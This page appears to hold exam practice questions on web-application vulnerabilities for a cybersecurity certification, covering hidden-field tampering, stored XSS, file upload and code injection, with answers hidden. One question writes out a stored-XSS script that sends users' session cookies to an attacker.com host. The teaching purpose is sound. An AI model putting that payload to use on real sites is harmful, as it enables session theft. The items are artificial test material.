Objective 1.4 Exploit Web-Application Vulnerabilities. CYBERSEC-FIRST-RESPONDER Practice Questions (Page 5)

Questions 21–25

1. 21application · medium

   A penetration tester is using a web proxy to intercept traffic to a web application. The tester notices that the application includes a hidden field named 'role' with the value 'user'. The tester changes the value to 'admin' and forwards the request. The application grants administrative privileges. Which vulnerability is being exploited?

   • ASQL injection because the hidden field is used in a database query
   • BCross-Site Scripting because the hidden field is used to inject a script
   • CPath traversal because the hidden field is used to access files
   • DInadequate input validation because the application trusts the hidden field without server-side validation
   Reveal Solution Discussion Select an answer first
2. 22application · medium

   A forum application allows users to post comments. A tester posts a comment containing <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>. When other users view the comment, their session cookies are sent to the attacker's server. Which vulnerability is being exploited?

   • AReflected XSS because the script is reflected in the response
   • BStored XSS because the malicious script is stored on the server and executed when other users view the comment
   • CCross-Site Request Forgery because the script sends a request to the attacker
   • DDOM-based XSS because the script is executed in the DOM
   Reveal Solution Discussion Select an answer first
4. 23foundation · easy

   Which attack involves uploading a malicious file, such as a web shell, to a server and then executing it to gain control?

   • ACross-Site Scripting (XSS)
   • BPath Traversal
   • CUnrestricted File Upload
   • DSQL Injection
   Reveal Solution Discussion Select an answer first
5. 24foundation · easy

   Which attack involves injecting arbitrary code, such as JavaScript or OS commands, into a web application to achieve code execution?

   • AInformation Disclosure
   • BCross-Site Request Forgery (CSRF)
   • CMalicious Code Injection
   • DPath Traversal
   Reveal Solution Discussion Select an answer first
6. 25foundation · easy

   Which vulnerability arises when an application does not properly validate or sanitize user input, allowing attackers to inject malicious data or unexpected input types?

   • APath Traversal
   • BInadequate Input Validation
   • CInformation Disclosure
   • DCross-Site Request Forgery (CSRF)
   Reveal Solution Discussion Select an answer first